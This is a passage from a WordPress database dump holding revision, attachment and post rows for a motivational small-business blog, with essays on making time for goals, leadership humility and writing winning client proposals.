if you’re in the right place or not.<span style="color: #000000;"> Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nHere on the White Hot Center, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and business development. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you''re burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my ideas useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your personal and business growth. Of course, I would appreciate you sharing with your colleagues too. Plus, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-05-05 18:59:09', '2011-05-06 01:59:09', '', 172, 'http://www.whitehotcenter.com/2011/05/05/172-revision-103/', 0, 'revision', '', 0),
(1614, 2, '2011-05-21 13:22:49', '2011-05-21 20:22:49', '', 'time', 0, '', 'inherit', 'open', 'open', '', 'time', '', '', '2011-05-21 13:22:49', '2011-05-21 20:22:49', '', 1613, 'http://www.whitehotcenter.com/wp-content/uploads/2011/05/time.jpg', 0, 'attachment', 'image/jpeg', 0),
(1615, 2, '2011-05-21 13:25:05', '2011-05-21 20:25:05', '<h1><img class="alignnone size-full wp-image-1614" title="time" src="http://whc.fbdev.org/wp-content/uploads/2011/05/time.jpg" alt="Make the time." width="490" height="378" /><span style="color: #808080;">If you have something big you want to do– learn a language, do something different, start a business, create a new product, play piano, write a book– start it now!</span></h1>\nWe’ve all said to ourselves, “when I get some extra time, I’ll do (fill in the blank)”. Of course, there is no extra time. We all have the same amount of it. Recently, I was discussing this issue with a colleague who said, “I’d love to do such and such, but there’re just aren’t enough hours in a day. I asked her how many hours she needed to be in a day before she felt like she would have enough time?\n\nSeriously, there’s enough time do anything you want. You just have to know how to use the time you have correctly. That requires making a choice. Instead of watching TV, you write the outline for your book. Instead of going to bed at 11, stay up an extra hour and work on your bigger better idea. Instead of doing one thing, make a choice to engage yourself in the thing that’s really important to you.\n\nThere is no perfect time. You’ll never have the right amount of time. You’ll always have other things to do. You don’t need to stay up all night. Just make a choice to put in an hour a day toward realizing your ideas. Surely you can do that.\n<h2>Start now, with what you have. Even the smallest amount of time is enough to get something going.</h2>\nOnce you begin, you’ll soon see if the thing you thought was important will hold your passion and interest enough to enable you to choose to spend even more time on it.  When you want something bad enough, you’ll make the time–regardless of all the other things you have to do in a day.\n\nTruth is, most people just don’t want something bad enough. It’s easier to say there’s not enough time. It’s a bullshit excuse. Making your dreams come true has nothing to do with how much time you think you have available.\n\nAnd you don’t need to learn complex systems for “time management” or “getting things done”. You can’t manage time anyway. All the time you have is right now. What will you choose to do with this moment? Manage your thinking, make a choice, and time will magically take care of itself.', 'You won’t find the time unless you make the time.', 0, '', 'inherit', 'open', 'open', '', '1613-revision', '', '', '2011-05-21 13:25:05', '2011-05-21 20:25:05', '', 1613, 'http://www.whitehotcenter.com/2011/05/21/1613-revision/', 0, 'revision', '', 0),
(1616, 2, '2011-05-21 13:28:18', '2011-05-21 20:28:18', '<h1><img class="alignnone size-full wp-image-1614" title="time" src="http://whc.fbdev.org/wp-content/uploads/2011/05/time.jpg" alt="Make the time." width="490" height="378" /><span style="color: #808080;">If you have something big you want to do– learn a language, do something different, start a business, create a new product, play piano, write a book– start it now!</span></h1>\r\nWe’ve all said to ourselves, “when I get some extra time, I’ll do (fill in the blank)”. Of course, there is no extra time. We all have the same amount of it. Recently, I was discussing this issue with a colleague who said, “I’d love to do such and such, but there’re just aren’t enough hours in a day. I asked her how many hours she needed to be in a day before she felt like she would have enough time?\r\n\r\nSeriously, there’s enough time do anything you want. You just have to know how to use the time you have correctly. That requires making a choice. Instead of watching TV, you write the outline for your book. Instead of going to bed at 11, stay up an extra hour and work on your bigger better idea. Instead of doing one thing, make a choice to engage yourself in the thing that’s really important to you.\r\n\r\nThere is no perfect time. You’ll never have the right amount of time. You’ll always have other things to do. You don’t need to stay up all night. Just make a choice to put in an hour a day toward realizing your ideas. Surely you can do that.\r\n<h2>Start now, with what you have. Even the smallest amount of time is enough to get something going.</h2>\r\nOnce you begin, you’ll soon see if the thing you thought was important will hold your passion and interest enough to enable you to choose to spend even more time on it.  When you want something bad enough, you’ll make the time–regardless of all the other things you have to do in a day.\r\n\r\nTruth is, most people just don’t want something bad enough. It’s easier to say there’s not enough time. It’s a bullshit excuse. Making your dreams come true has nothing to do with how much time you think you have available.\r\n\r\nAnd you don’t need to learn complex systems for “time management” or “getting things done”. You can’t manage time anyway. All the time you have is right now. What will you choose to do with this moment? Manage your thinking, make a choice, and time will magically take care of itself.', 'You won’t find the time unless you make the time.', 0, '', 'inherit', 'open', 'open', '', '1613-revision-2', '', '', '2011-05-21 13:28:18', '2011-05-21 20:28:18', '', 1613, 'http://www.whitehotcenter.com/2011/05/21/1613-revision-2/', 0, 'revision', '', 0),
(1617, 2, '2011-05-21 13:30:34', '2011-05-21 20:30:34', '', 'time', 0, '', 'inherit', 'open', 'open', '', 'time-2', '', '', '2011-05-21 13:30:34', '2011-05-21 20:30:34', '', 1613, 'http://www.whitehotcenter.com/wp-content/uploads/2011/05/time1.jpg', 0, 'attachment', 'image/jpeg', 0),
(1618, 2, '2011-05-21 13:28:28', '2011-05-21 20:28:28', '<h1><img class="alignnone size-full wp-image-1614" title="time" src="http://whc.fbdev.org/wp-content/uploads/2011/05/time.jpg" alt="Make the time." width="490" height="378" /><span style="color: #808080;">If you have something big you want to do– learn a language, do something different, start a business, create a new product, play piano, write a book– start it now!</span></h1>\r\nWe’ve all said to ourselves, “when I get some extra time, I’ll do (fill in the blank)”. Of course, there is no extra time. We all have the same amount of it. Recently, I was discussing this issue with a colleague who said, “I’d love to do such and such, but there’re just aren’t enough hours in a day. I asked her how many hours she needed to be in a day before she felt like she would have enough time?\r\n\r\nSeriously, there’s enough time do anything you want. You just have to know how to use the time you have correctly. That requires making a choice. Instead of watching TV, you write the outline for your book. Instead of going to bed at 11, stay up an extra hour and work on your bigger better idea. Instead of doing one thing, make a choice to engage yourself in the thing that’s really important to you.\r\n\r\nThere is no perfect time. You’ll never have the right amount of time. You’ll always have other things to do. You don’t need to stay up all night. Just make a choice to put in an hour a day toward realizing your ideas. Surely you can do that.\r\n<h2>Start now, with what you have. Even the smallest amount of time is enough to get something going.</h2>\r\nOnce you begin, you’ll soon see if the thing you thought was important will hold your passion and interest enough to enable you to choose to spend even more time on it.  When you want something bad enough, you’ll make the time–regardless of all the other things you have to do in a day.\r\n\r\nTruth is, most people just don’t want something bad enough. It’s easier to say there’s not enough time. It’s a bullshit excuse. Making your dreams come true has nothing to do with how much time you think you have available.\r\n\r\nAnd you don’t need to learn complex systems for “time management” or “getting things done”. You can’t manage time anyway. All the time you have is right now. What will you choose to do with this moment? Manage your thinking, make a choice, and time will magically take care of itself.', 'You won’t find the time unless you make the time.', 0, '', 'inherit', 'open', 'open', '', '1613-revision-3', '', '', '2011-05-21 13:28:28', '2011-05-21 20:28:28', '', 1613, 'http://www.whitehotcenter.com/2011/05/21/1613-revision-3/', 0, 'revision', '', 0),
(1619, 2, '2011-05-21 13:30:59', '2011-05-21 20:30:59', '<h1><img class="alignnone size-full wp-image-1617" title="time" src="http://whc.fbdev.org/wp-content/uploads/2011/05/time1.jpg" alt="Make the time" width="480" height="370" /><span style="color: #808080;">If you have something big you want to do– learn a language, do something different, start a business, create a new product, play piano, write a book– start it now!</span></h1>\r\nWe’ve all said to ourselves, “when I get some extra time, I’ll do (fill in the blank)”. Of course, there is no extra time. We all have the same amount of it. Recently, I was discussing this issue with a colleague who said, “I’d love to do such and such, but there’re just aren’t enough hours in a day. I asked her how many hours she needed to be in a day before she felt like she would have enough time?\r\n\r\nSeriously, there’s enough time do anything you want. You just have to know how to use the time you have correctly. That requires making a choice. Instead of watching TV, you write the outline for your book. Instead of going to bed at 11, stay up an extra hour and work on your bigger better idea. Instead of doing one thing, make a choice to engage yourself in the thing that’s really important to you.\r\n\r\nThere is no perfect time. You’ll never have the right amount of time. You’ll always have other things to do. You don’t need to stay up all night. Just make a choice to put in an hour a day toward realizing your ideas. Surely you can do that.\r\n<h2>Start now, with what you have. Even the smallest amount of time is enough to get something going.</h2>\r\nOnce you begin, you’ll soon see if the thing you thought was important will hold your passion and interest enough to enable you to choose to spend even more time on it.  When you want something bad enough, you’ll make the time–regardless of all the other things you have to do in a day.\r\n\r\nTruth is, most people just don’t want something bad enough. It’s easier to say there’s not enough time. It’s a bullshit excuse. Making your dreams come true has nothing to do with how much time you think you have available.\r\n\r\nAnd you don’t need to learn complex systems for “time management” or “getting things done”. You can’t manage time anyway. All the time you have is right now.\r\n\r\n<strong>What will you choose to do with this moment? Manage your thinking, make a choice, and time will magically take care of itself.</strong>', 'You won’t find the time unless you make the time.', 0, '', 'inherit', 'open', 'open', '', '1613-revision-4', '', '', '2011-05-21 13:30:59', '2011-05-21 20:30:59', '', 1613, 'http://www.whitehotcenter.com/2011/05/21/1613-revision-4/', 0, 'revision', '', 0),
(1620, 2, '2011-05-21 13:31:08', '2011-05-21 20:31:08', '<h1><img class="alignnone size-full wp-image-1617" title="time" src="http://whc.fbdev.org/wp-content/uploads/2011/05/time1.jpg" alt="Make the time" width="480" height="370" /><span style="color: #808080;">If you have something big you want to do– learn a language, do something different, start a business, create a new product, play piano, write a book– start it now!</span></h1>\r\nWe’ve all said to ourselves, “when I get some extra time, I’ll do (fill in the blank)”. Of course, there is no extra time. We all have the same amount of it. Recently, I was discussing this issue with a colleague who said, “I’d love to do such and such, but there’re just aren’t enough hours in a day. I asked her how many hours she needed to be in a day before she felt like she would have enough time?\r\n\r\nSeriously, there’s enough time do anything you want. You just have to know how to use the time you have correctly. That requires making a choice. Instead of watching TV, you write the outline for your book. Instead of going to bed at 11, stay up an extra hour and work on your bigger better idea. Instead of doing one thing, make a choice to engage yourself in the thing that’s really important to you.\r\n\r\nThere is no perfect time. You’ll never have the right amount of time. You’ll always have other things to do. You don’t need to stay up all night. Just make a choice to put in an hour a day toward realizing your ideas. Surely you can do that.\r\n<h2>Start now, with what you have. Even the smallest amount of time is enough to get something going.</h2>\r\nOnce you begin, you’ll soon see if the thing you thought was important will hold your passion and interest enough to enable you to choose to spend even more time on it.  When you want something bad enough, you’ll make the time–regardless of all the other things you have to do in a day.\r\n\r\nTruth is, most people just don’t want something bad enough. It’s easier to say there’s not enough time. It’s a bullshit excuse. Making your dreams come true has nothing to do with how much time you think you have available.\r\n\r\nAnd you don’t need to learn complex systems for “time management” or “getting things done”. You can’t manage time anyway. All the time you have is right now.\r\n\r\n<strong>What will you choose to do with this moment? Manage your thinking, make a choice, and time will magically take care of itself.</strong>', 'You won’t find the time unless you make the time.', 0, '', 'inherit', 'open', 'open', '', '1613-revision-5', '', '', '2011-05-21 13:31:08', '2011-05-21 20:31:08', '', 1613, 'http://www.whitehotcenter.com/2011/05/21/1613-revision-5/', 0, 'revision', '', 0),
(1621, 2, '2011-05-21 13:31:16', '2011-05-21 20:31:16', '<h1><img class="alignnone size-full wp-image-1617" title="time" src="http://whc.fbdev.org/wp-content/uploads/2011/05/time1.jpg" alt="Make the time" width="480" height="370" /><span style="color: #808080;">If you have something big you want to do– learn a language, do something different, start a business, create a new product, play piano, write a book– start it now!</span></h1>\r\nWe’ve all said to ourselves, “when I get some extra time, I’ll do (fill in the blank)”. Of course, there is no extra time. We all have the same amount of it. Recently, I was discussing this issue with a colleague who said, “I’d love to do such and such, but there’re just aren’t enough hours in a day. I asked her how many hours she needed to be in a day before she felt like she would have enough time?\r\n\r\nSeriously, there’s enough time do anything you want. You just have to know how to use the time you have correctly. That requires making a choice. Instead of watching TV, you write the outline for your book. Instead of going to bed at 11, stay up an extra hour and work on your bigger better idea. Instead of doing one thing, make a choice to engage yourself in the thing that’s really important to you.\r\n\r\nThere is no perfect time. You’ll never have the right amount of time. You’ll always have other things to do. You don’t need to stay up all night. Just make a choice to put in an hour a day toward realizing your ideas. Surely you can do that.\r\n<h2>Start now, with what you have. Even the smallest amount of time is enough to get something going.</h2>\r\nOnce you begin, you’ll soon see if the thing you thought was important will hold your passion and interest enough to enable you to choose to spend even more time on it.  When you want something bad enough, you’ll make the time–regardless of all the other things you have to do in a day.\r\n\r\nTruth is, most people just don’t want something bad enough. It’s easier to say there’s not enough time. It’s a bullshit excuse. Making your dreams come true has nothing to do with how much time you think you have available.\r\n\r\nAnd you don’t need to learn complex systems for “time management” or “getting things done”. You can’t manage time anyway. All the time you have is right now.\r\n\r\n<strong>What will you choose to do with this moment? Manage your thinking, make a choice, and time will magically take care of itself.</strong>', 'You won’t find the time unless you make the time.', 0, '', 'inherit', 'open', 'open', '', '1613-revision-6', '', '', '2011-05-21 13:31:16', '2011-05-21 20:31:16', '', 1613, 'http://www.whitehotcenter.com/2011/05/21/1613-revision-6/', 0, 'revision', '', 0),
(1622, 2, '2011-05-21 13:38:52', '2011-05-21 20:38:52', '<h1><img class="alignnone size-full wp-image-1617" title="time" src="http://whc.fbdev.org/wp-content/uploads/2011/05/time1.jpg" alt="Make the time" width="480" height="370" /><span style="color: #808080;">If you have something big you want to do– learn a language, do something different, start a business, create a new product, play piano, write a book– start it now!</span></h1>\nWe’ve all said to ourselves, “when I get some extra time, I’ll do (fill in the blank)”. Of course, there is no extra time. We all have the same amount of it. Recently, I was discussing this issue with a colleague who said, “I’d love to do such and such, but there’re just aren’t enough hours in a day. I asked her how many hours she needed to be in a day before she felt like she would have enough time?\n\nSeriously, there’s enough time do anything you want. You just have to know how to use the time you have correctly. That requires making a choice. Instead of watching TV, you write the outline for your book. Instead of going to bed at 11, stay up an extra hour and work on your bigger better idea. Instead of doing one thing, make a choice to engage yourself in the thing that’s really important to you.\n\nThere is no perfect time. You’ll never have the right amount of time. You’ll always have other things to do. You don’t need to stay up all night. Just make a choice to put in an hour a day toward realizing your ideas. Surely you can do that.\n<h2>Start now, with what you have. Even the smallest amount of time is enough to get something going.</h2>\nOnce you begin, you’ll soon see if the thing you thought was important will hold your passion and interest enough to enable you to choose to spend even more time on it.  When you want something bad enough, you’ll make the time–regardless of all the other things you have to do in a day.\n\nTruth is, most people just don’t want something bad enough. It’s easier to say there’s not enough time. It’s a bullshit excuse. Making your dreams come true has nothing to do with how much time you think you have available.\n\nAnd you don’t need to learn complex systems for “time management” or “getting things done”. You can’t manage time anyway. All the time you have is right now.\n\n<strong>What will you choose to do with this moment? Manage your thinking, make a choice, and time will magically take care of itself.</strong>', 'You won’t find the time unless you make the time.', 0, '', 'inherit', 'open', 'open', '', '1613-autosave', '', '', '2011-05-21 13:38:52', '2011-05-21 20:38:52', '', 1613, 'http://www.whitehotcenter.com/2011/05/21/1613-autosave/', 0, 'revision', '', 0),
(1641, 2, '2011-06-23 13:00:53', '2011-06-23 20:00:53', '<img class="alignnone size-full wp-image-1642" title="buildingabridge" src="http://whc.fbdev.org/wp-content/uploads/2011/06/buildingabridge.jpg" alt="" width="485" height="161" />\r\n<h1><span style="color: #808080;">In realizing our dreams and aspirations for success, it’s easy to get caught up in a belief that we’re smarter and more capable than others because our success proves it.</span></h1>\r\n<strong>It’s easy to become so self-absorbed in our pursuits we forget the importance of humility.</strong>\r\n\r\nI believe the bridge to common ground and richer experiences in life is though humility. To be humble is not weakness, nor is it a behavior of timidly hiding behind our accomplishments.  As author John Maxwell points out, “false humility downplays one’s genuine strengths to receive praise, arrogance plays up one’s strengths to receive praise, true humility raises up others so they can be praised”. As you begin to realize your business success, my advice is to be humble.\r\n<h2>Humility is a frame of mind where you knowingly use your strengths for the benefit of others on behalf of a higher purpose beyond your own accomplishments. In my view, this is the defining characteristic of great leadership.</h2>\r\nThe humble leader is not weak, but strong.  Humble leaders are never pre-occupied with their accomplishments. Rather they focus on using all their strength, talent and capability for the good of others. Humble leaders are servants in disguise–they serve to fulfill a worthy cause.\r\n\r\nIn my many years consulting with corporate executives, those who earned my deepest respect were leaders who brought out the best in me. They seemed to be focused on my success, my ability to contribute greater value to their organizations. They elevated the state of everyone they came into contact with–empowering them to be the best they can be. They set the bar high, but were honest and transparent about their own flaws, failures and set-backs.\r\n\r\nIf you want to truly influence and impact people, don’t blather on about your own successes, share your failures. This is the common ground we all share. Everybody screws up something at one time or another. We’ve all been humbled by our mistakes. Our natural inclination to is to learn and grow. Nothing stunts growth and advancement to our desires more than dogma and ego.\r\n\r\n<strong>Admitting our own weaknesses, being patient with the weakness of others and putting the spotlight on the accomplishments of others is how you’ll create more influence with everyone you come into contact with.</strong>', 'Humility is the bridge to common ground and greater influence.', 0, '', 'publish', 'open', 'open', '', 'humility-is-the-bridge-to-common-ground-and-greater-influence', '', '', '2011-06-23 13:06:41', '2011-06-23 20:06:41', '', 0, 'http://www.whitehotcenter.com/?p=1641', 0, 'post', '', 0);
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(1624, 2, '2011-06-12 10:58:15', '2011-06-12 17:58:15', '<h1><img class="alignnone size-full wp-image-1628" title="winning proposal" src="http://whc.fbdev.org/wp-content/uploads/2011/06/win-proposal1.jpg" alt="" width="485" height="333" /><span style="color: #808080;">No doubt about it, the proposal  is the main event in your business development activities. Proposals  that win business focus on highly valued outcomes your clients desire,  rather than a detailed outline of your processes and costs.</span></h1>\r\n<div>\r\n\r\nWhatever your business, at some point  in the sales process, you’re going to have to prepare a proposal to your  client in order to close a business deal. Being asked to present a  proposal is the main event of the business development process. All your  previous hard work turning a suspect into a prospect, and then into a  late stage buyer looking for a solution, has come down to this defining  moment–preparing and presenting your proposal.\r\n\r\nThere is no getting around this fact–how well you prepare your  proposals determines how much business you will close. Mastering the art  of proposal preparation is essential to your success. To help you craft  proposals that win business, here are some suggestions you may want to  consider.\r\n<h2><strong>Your purpose in preparing a proposal is to recommend a course  of action that provides a highly valued solution to your client’s  problem–not provide them a price</strong>.</h2>\r\nFor early-stage entrepreneurs, all sales are critical. When asked to  submit a proposal, it’s easy to jump right in and start thinking about  how to win the business offering the cheapest price. Your proposal needs  to focus on the “value of the outcome” to the client–not your process,  your services, or the value of your time.\r\n\r\nWhen prospective clients request a proposal, what they really want is  a solution to their problem. Your client will determine how much value  they place on obtaining the solution, not you.  If the solution is  readily available by lots of providers, clients will most likely place  little value in the solution and obtain it at the lowest price.  That’s  why it’s a good idea to qualify the opportunity!  Before you begin to  prepare a proposal, you need answers to these two important questions:\r\n\r\n<strong><em>Can the client-to-be-afford you?</em></strong>\r\nNo sense wasting your time if the client can’t meet your minimum requirements.\r\n\r\n<strong><em>Are you a good fit for this opportunity?</em></strong>\r\nIf the  opportunity doesn’t represent the type of solutions you are specialized  to provide, or doesn’t enable you to provide the client with your best  high-value thinking at fees that are profitable to your business, you  should pass. Taking work on just to pay bills is a sucker’s game. Your  success in the long run depends on engaging in only those opportunities  you are well suited to pursue, and provide profit to your business.\r\n\r\nOnce you have the right answers to these questions, you may determine  the opportunity worth investing your time and money in preparing a  proposal.  When you are positive and confident that it''s the right  fit, your solution is the best, and you will be able to command premium  pricing providing the solution, you’ll already be in a winning frame of  mind as you begin the proposal process.\r\n\r\n<strong>Winning proposals tell a winning story.</strong>\r\n\r\nWinning proposals tell stories about how your solution will best  serve the clients stated needs and desired outcome. It’s not about your  process or your services. Clients don’t care about any of that–they care  about experiencing their desired outcome.  It’s essential to have a  deep understanding of the client’s needs and desires, and what will be  required to fulfill them. The client will perceive your value to them  based on how you will provide desired outcomes not just deliverables.\r\n\r\n<strong>Winning proposals eliminate risk.</strong>\r\n\r\nA prospective client is taking a risk by hiring you. A winning  proposal will share your knowledge and insight in ways that position and  prove you are the “go-to” expert in this solution. To do that, you have  to provide useful knowledge that illuminates and expands the client’s  options or possibilities– in a manner that surprises and delights them!\r\n\r\nThen show proof by illustrating how other clients have achieved their  outcomes as a result of doing business with you. Your proposal needs to  instill confidence in their consideration and decision to do business  with you.\r\n\r\n<strong>Winning proposals do not look like you filled in the blanks.</strong>\r\n\r\nIf your business requires consultative sales conversations, it’s  essential that your proposal be highly customized and reflective of the  substance and specifics of those early sales conversations. You won’t  distinguish your value by submitting a proposal that looks like you  plugged your solution into a boilerplate form. Remember your purpose is  providing a unique solution that is highly valued by the client-to-be.  If it’s off the shelf, it’s probably not special or unique, and  consequently will be perceived as less valuable.\r\n\r\n<strong>Winning proposals are well organized and complete.</strong>\r\n\r\nRegardless of the size of the document, your proposal needs to be  well organized and complete. A winning proposal should include these  components:\r\n\r\n<em>Introduction</em>\r\nThis is your opportunity to state your claim of expertise, and the value you bring to the client. Two paragraphs tops.\r\n\r\n<em>The Clients Desires/Objectives/Outcomes</em>\r\nState your deep  understanding of your client''s needs, objectives and desired outcome.  Re-state in “their own words” what the perceived need/ problem is, why  obtaining a solution is important to the client, and what defines a  successful outcome.\r\n\r\n<em>The Project Definition</em>\r\nState all the specific information  that defines the scope and detail of all deliverables and the services  you will provide to complete the assignment.\r\n\r\n<em>Your Proposed Solution</em>\r\nHere’s where compelling  storytelling is critical. This section is not about your process or your  services. This is about communicating the functional and emotional  benefits associated with your proposed solution–what’s in it for them  and how your solution will fulfill their needs and achieve their desired  outcomes. If your solution involves proprietary processes or methods,  outline them here. Just remember to align your process to support the  desired outcome. Every process must be anchored to a desired outcome.\r\n\r\n<em>The Financial Value of the Solution</em>\r\nOutline all the  specific information about your fees and expenses including the time  required for completing the project, and any associated terms or  conditions regarding how you expect to be compensated.\r\n\r\nYour fees should be stated in a range (i.e. $10,000 -$15,000).   You’re stated fee needs to reflect the financial value the client places  on their desired outcome, not how many hours it takes you to deliver.  Do not provide any line item detail to your stated fee. If the client  wants that breakdown in detail, leave that stuff for the “closing”  conversation.\r\n\r\n<em>The Support and Proof of Your Stated Expertise</em>\r\nProvide  short bios featuring the specific qualifications and the individual  experience members of your team assigned to this project will bring to  the party. Hint: it better be the A team. Also include any case studies  that are highly relevant and prove your claims of expertise in solving  the stated problem.\r\n\r\n<em>Appendix</em>\r\nUse this last section to include any process or financial detail that supports the previous content.\r\n\r\n<em>Proposal Acceptance Page</em>\r\nThis final page is where you obtain the clients acceptance to provide your closing contract.\r\n\r\n<strong>Winning proposals present themselves</strong>.\r\n\r\nOf course, it’s always best to present your proposal in person.  However, that’s not always possible or practical. In my business, my  clients may be in a different part of the country. It’s not always  practical for me to present in person, nor is it always desirable to the  client. That’s why your proposal needs to be strong enough to do the  “presenting” without you.\r\n\r\nOften, clients will receive proposals to develop a short list of  candidates. More importantly, decision-makers only meet the finalists.  The proposal is a selling document not a closing document or a contract.  If you make it to the short list, and the client wants a deeper  discussion about your proposal, that’ll be your time to have a closing  conversation. The proposal offers you an opportunity to demonstrate how  you add value not just take their order.\r\n\r\n<strong>Preparing proposals that will win more business is a  thoughtful process. Only invest in the opportunities you are well suited  to pursue. When you tell a compelling story about how you will help  your client achieve the outcome they highly value, chances are, you’ll  not only get the gig, but command premium pricing as well.  And that’s  as good as it gets.</strong>\r\n\r\n</div>', 'The art of preparing proposals that win more business.', 0, '', 'publish', 'open', 'open', '', 'the-art-of-preparing-proposals-that-win-more-business', '', '', '2011-06-13 08:41:19', '2011-06-13 15:41:19', '', 0, 'http://www.whitehotcenter.com/?p=1624', 0, 'post', '', 4),
(1625, 2, '2011-06-12 10:38:54', '2011-06-12 17:38:54', '', 'proposals that win', 0, '', 'inherit', 'open', 'open', '', 'win-proposal', '', '', '2011-06-12 10:38:54', '2011-06-12 17:38:54', '', 1624, 'http://www.whitehotcenter.com/wp-content/uploads/2011/06/win-proposal.jpg', 0, 'attachment', 'image/jpeg', 0),
(1626, 2, '2011-06-12 10:41:07', '2011-06-12 17:41:07', '<h1><img class="alignnone size-full wp-image-1625" title="proposals that win" src="http://whc.fbdev.org/wp-content/uploads/2011/06/win-proposal.jpg" alt="" width="515" height="353" /><span style="color: #808080;">No doubt about it, the proposal  is the main event in your business development activities. Proposals  that win business focus on highly valued outcomes your clients desire,  rather than a detailed outline of your processes and costs.</span></h1>\n<div>\n\nWhatever your business, at some point  in the sales process, you’re going to have to prepare a proposal to your  client in order to close a business deal. Being asked to present a  proposal is the main event of the business development process. All your  previous hard work turning a suspect into a prospect, and then into a  late stage buyer looking for a solution, has come down to this defining  moment–preparing and presenting your proposal.\n\nThere is no getting around this fact–how well you prepare your  proposals determines how much business you will close. Mastering the art  of proposal preparation is essential to your success. To help you craft  proposals that win business, here are some suggestions you may want to  consider.\n<h2><strong>Your purpose in preparing a proposal is to recommend a course  of action that provides a highly valued solution to your client’s  problem–not provide them a price</strong>.</h2>\nFor early-stage entrepreneurs, all sales are critical. When asked to  submit a proposal, it’s easy to jump right in and start thinking about  how to win the business offering the cheapest price. Your proposal needs  to focus on the “value of the outcome” to the client–not your process,  your services, or the value of your time.\n\nWhen prospective clients request a proposal, what they really want is  a solution to their problem. Your client will determine how much value  they place on obtaining the solution, not you.  If the solution is  readily available by lots of providers, clients will most likely place  little value in the solution and obtain it at the lowest price.  That’s  why it’s a good idea to qualify the opportunity!  Before you begin to  prepare a proposal, you need answers to these two important questions:\n\n<em>Can the client-to-be-afford you?</em>\nNo sense wasting your time if the client can’t meet your minimum requirements.\n\n<em>Are you a good fit for this opportunity?</em>\nIf the  opportunity doesn’t represent the type of solutions you are specialized  to provide, or doesn’t enable you to provide the client with your best  high-value thinking at fees that are profitable to your business, you  should pass. Taking work on just to pay bills is a sucker’s game. Your  success in the long run depends on engaging in only those opportunities  you are well suited to pursue, and provide profit to your business.\n\nOnce you have the right answers to these questions, you may determine  the opportunity worth investing your time and money in preparing a  proposal.  When you are positive and confident that you are the right  fit, your solution is the best, and you will be able to command premium  pricing providing the solution, you’ll already be in a winning frame of  mind as you begin the proposal process.\n\n<strong>Winning proposals tell a winning story.</strong>\n\nWinning proposals tell stories about how your solution will best  serve the clients stated needs and desired outcome. It’s not about your  process or your services. Clients don’t care about any of that–they care  about experiencing their desired outcome.  It’s essential to have a  deep understanding of the client’s needs and desires, and what will be  required to fulfill them. The client will perceive your value to them  based on how you will provide desired outcomes not just deliverables.\n\n<strong>Winning proposals eliminate risk.</strong>\n\nA prospective client is taking a risk by hiring you. A winning  proposal will share your knowledge and insight in ways that position and  prove you are the “go-to” expert in this solution. To do that, you have  to provide useful knowledge that illuminates and expands the client’s  options or possibilities– that surprises and delights them!\n\nThen show proof by illustrating how other clients have achieved their  outcomes as a result of doing business with you. Your proposal needs to  instill confidence in their consideration and decision to do business  with you.\n\n<strong>Winning proposals do not look like you filled in the blanks.</strong>\n\nIf your business requires consultative sales conversations, it’s  essential that your proposal be highly customized and reflective of the  substance and specifics of those early sales conversations. You won’t  distinguish your value by submitting a proposal that looks like you  plugged your solution into a boilerplate form. Remember your purpose is  providing a unique solution that is highly valued by the client-to-be.  If it’s off the shelf, it’s probably not special or unique, and  consequently perceived as less valuable.\n\n<strong>Winning proposals are well organized and complete.</strong>\n\nRegardless of the size of the document, your proposal needs to be  well organized and complete. A winning proposal should include these  components:\n\n<em>Introduction</em>\nThis is your opportunity to state your claim of expertise, and the value you bring to the client. Two paragraphs tops.\n\n<em>The Clients Desires/Objectives/Outcomes</em>\nState your deep  understanding of your clients needs, objectives and desired outcome.  Re-state in “their own words” what the perceived need/ problem is, why  obtaining a solution is important to the client, and what defines a  successful outcome.\n\n<em>The Project Definition</em>\nState all the specific information  that defines the scope and detail of all deliverables and the services  you will provide to complete the assignment.\n\n<em>Your Proposed Solution</em>\nHere’s where compelling  storytelling is critical. This section is not about your process or your  services. This is about communicating the functional and emotional  benefits associated with your proposed solution–what’s in it for them  and how your solution will fulfill their needs and achieve their desired  outcomes. If your solution involves proprietary processes or methods,  outline them here. Just remember to align your process to support the  desires outcome. Every process must be anchored to a desired outcome.\n\n<em>The Financial Value of the Solution</em>\nOutline all the  specific information about your fees and expenses including the time  required for completing the project, and any associated terms or  conditions regarding how you expect to be compensated.\n\nYour fees should be stated in a range (i.e. $10,000 -$15,000).   You’re stated fee needs to reflect the financial value the client places  on their desired outcome, not how many hours it takes you to deliver.  Do not provide any line item detail to your stated fee. If the client  wants that breakdown in detail, leave that stuff for the “closing”  conversation.\n\n<em>The Support and Proof of Your Stated Expertise</em>\nProvide  short bios featuring the specific qualifications and the individual  experience members of your team assigned to this project will bring to  the party. Hint: it better be the A team. Also include any case studies  that are highly relevant and prove your claims of expertise in solving  the stated problem.\n\n<em>Appendix</em>\nUse this last section to include any process or financial detail that supports the previous content.\n\n<em>Proposal Acceptance Page</em>\nThis final page is where you obtain the clients acceptance to provide your closing contract.\n\n<strong>Winning proposals present themselves</strong>.\n\nOf course, it’s always best to present your proposal in person.  However, that’s not always possible or practical. In my business, my  clients may be in a different part of the country. It’s not always  practical for me to present in person, nor is it always desirable to the  client. That’s why your proposal needs to be strong enough to do the  “presenting” without you.\n\nOften, clients will receive proposals to develop a short list of  candidates. More importantly, decision-makers only meet the finalists.  The proposal is a selling document not a closing document or a contract.  If you make it to the short list, and the client wants a deeper  discussion about your proposal, that’ll be your time to have a closing  conversation. The proposal offers you an opportunity to demonstrate how  you add value not just take their order.\n\n<strong>Preparing proposals that will win more business is a  thoughtful process. Only invest in the opportunities you are well suited  to pursue. When you tell a compelling story about how you will help  your client achieve the outcome they highly value, chances are, you’ll  not only get the 